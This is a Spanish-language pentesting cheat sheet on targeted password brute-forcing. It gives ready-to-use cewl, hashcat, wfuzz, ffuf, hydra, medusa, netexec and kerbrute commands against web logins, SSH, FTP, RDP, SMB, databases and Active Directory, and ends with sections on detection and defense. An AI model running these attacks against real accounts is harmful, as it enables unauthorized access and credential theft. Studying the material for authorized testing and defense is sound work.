Targeted password bruteforce (cewl, custom wordlists)

Contra un login (web o de servicio), la eficacia del bruteforce no la determina el tamaño del diccionario, la determina su relevancia. rockyou.txt (14 M de contraseñas) tarda una eternidad y produce falsos positivos; una wordlist de 200 palabras extraídas del propio objetivo suele acertar en segundos. El flujo típico: primero un usuario o una lista corta de usuarios probables, luego un diccionario a medida, y solo como último recurso los grandes.

Diccionarios a medida. cewl rastrea las páginas del objetivo y devuelve las palabras que aparecen; ideal para blogs y CMS donde el administrador tiende a reutilizar nombres del contenido (personajes, marca, temas). Para usuarios, username-anarchy genera todas las combinaciones habituales a partir de un nombre real; para engordar cualquier lista con las mutaciones que la gente aplica de verdad (mayúscula inicial, año, símbolo al final), están las reglas de hashcat (mutación de contraseñas).

cewl -d 3 -m 5 http://<host>/ -w words.txt        # profundidad 3, palabras de >=5 letras
cewl -e --email_file emails.txt http://<host>/     # de paso, recolectar correos
./username-anarchy Firstname Lastname > users.txt  # generar usuarios probables
hashcat --stdout words.txt -r /usr/share/hashcat/rules/best64.rule > mutated.txt  # +mutaciones reales

Login web (wfuzz / ffuf). Se marca el campo variable con FUZZ y se filtra el ruido por lo que distingue al acierto: normalmente el código (302 frente a 200), pero también el tamaño (--hh/-fs) o una cadena de la respuesta (--hs/-fr).

# wfuzz: ocultar los fallos por codigo (login OK suele redirigir con 302)
wfuzz -u http://<host>/admin/login.php \
      -d 'user=admin&pass=FUZZ&submit=Login' \
      -w mutated.txt --hc 200

# wfuzz: cuando todos responden 200, filtrar por texto de error o por tamano
wfuzz -u http://<host>/login -d 'user=admin&pass=FUZZ' -w words.txt --hs 'Invalid'
wfuzz -u http://<host>/login -d 'user=admin&pass=FUZZ' -w words.txt --hh 4242

# ffuf equivalente (-fc oculta por codigo, -fr por regex)
ffuf -u http://<host>/login -X POST -w words.txt \
     -d 'user=admin&pass=FUZZ' \
     -H 'Content-Type: application/x-www-form-urlencoded' -fc 200

Servicios de red (hydra / medusa / netexec). El mismo diccionario sirve para SSH, FTP, RDP, SMB o las bases de datos. -f corta al primer acierto, -t ajusta hilos (bájalo si el servicio tira conexiones), -V muestra cada intento.

hydra -l <user> -P <passwords.txt> ssh://<ip> -t 4 -f      # SSH
hydra -L <users.txt> -P <passwords.txt> ftp://<ip>          # FTP (varios usuarios)
hydra -l <user> -P <passwords.txt> rdp://<ip>              # RDP
hydra -l <user> -P <passwords.txt> mysql://<ip>            # MySQL (tambien mssql://, postgres://)
hydra -l <user> -P <passwords.txt> <ip> http-get /admin/   # HTTP Basic Auth

# login por formulario: sintaxis "ruta:cuerpo^USER^/^PASS^:condicion_de_fallo"
hydra <ip> -l admin -P <passwords.txt> \
      http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect"

# medusa: mismo trabajo, otro motor (util cuando hydra falla con un servicio)
medusa -h <ip> -u <user> -P <passwords.txt> -M ssh -f

# netexec: probar creds contra SMB/WinRM/etc. y ver donde valen (Pwn3d!)
netexec ssh <ip> -u <user> -p <passwords.txt>
netexec smb <ip> -u <user> -p <passwords.txt>

Active Directory (kerbrute). Contra un DC, kerbrute prueba contraseñas por Kerberos (pre-auth) sin tocar la mayoría de logs de logon y es mucho más rápido; primero valida qué usuarios existen y luego ataca.

kerbrute userenum -d <domain> --dc <ip> <users.txt>            # que usuarios existen
kerbrute bruteuser -d <domain> --dc <ip> <passwords.txt> <user> # muchas pass, un usuario

Matices. No confundir con password spraying: aquí se ataca a un usuario con muchas contraseñas; en spraying, muchos usuarios con una misma contraseña. El bruteforce dirigido es útil cuando no hay política de lockout o cuando el user es específico (admin del CMS, root, Administrator); el spraying, cuando hay lockout y queremos evitarlo. Si el objetivo devuelve hashes en vez de aceptar login, el ataque se traslada offline (cracking de hashes), sin límite de intentos ni ruido en red.

Cómo detectarlo. La firma en el log de acceso (o de autenticación) es una ráfaga de intentos al mismo endpoint/servicio con un único usuario y muchas contraseñas desde una IP, con una avalancha de fallos (mismo tamaño/200, o 4625/auth failure) y, al final, un éxito que destaca (302, 4624, sesión abierta): ese cambio es a la vez el logro del atacante y la firma para el defensor. El User-Agent de wfuzz/hydra y la cadencia inhumana lo refuerzan. Un rate-limit o un contador de fallos por usuario/origen lo detecta y frena.

Defensa. Rate limiting agresivo en el login (más allá de N intentos/min por IP y por usuario), lockout temporal tras varios fallos, MFA. En CMS, forzar contraseñas complejas y prohibir palabras del propio site como password. Alertar sobre picos de fallos de autenticación y sobre un éxito que llega tras muchos fallos desde el mismo origen.